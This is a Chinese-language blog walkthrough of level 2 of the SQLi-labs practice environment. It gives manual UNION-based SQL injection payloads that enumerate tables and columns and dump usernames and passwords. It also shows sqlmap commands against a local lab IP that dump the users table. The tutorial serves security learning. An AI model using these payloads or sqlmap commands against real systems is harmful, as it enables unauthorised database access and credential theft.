0%

sqlilabs第二关(sqlmap初体验)

先来一遍基本流程

  1. 判断注入类型
  2. 判断字段数
  3. 判断回显点
  4. 暴库名
  5. 爆表名
  6. 爆字段名
  7. 查数据

手工注入

第二关没什么好说的了,思路和第一关大同小异,只是判断注入类型的时候,这里是整数型,也就是没有单引号,后面也不用加注释符号,这里需要注意的是,用到where 的时候,=的东西如果是字符串,不要忘记加 ‘ ‘ 。

然后就是命令再熟悉一下

爆表名

id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'(schema是构架的意思)

爆字段名

id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name ='users' and table_schema ='security'

查数据

id=-1 union select 1,group_concat(username,1,password),3 from security.users

最后得出结果

image-20220120190354876

利用sqlmap

安装:git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

详细用法可参考readme.md文件

爆库名

python sqlmap.py -u http://192.168.153.133/sqli-labs-master/Less-2/?id=1

image-20220120194754745

这里推荐了4种注入方法,其实这一步做不做无所谓。主要是获取数据库名

image-20220120195046058

注意:命令对大小写敏感

爆表

image-20220120195345729

爆数据

执行

python sqlmap.py -u http://192.168.153.133/sqli-labs-master/Less-2/?id=1 -D security -T users --dump

image-20220120195606377

同样也可以使用该命令格式爆其他表数据,如emalis

image-20220120195802180

相比于手工注入简单多了哦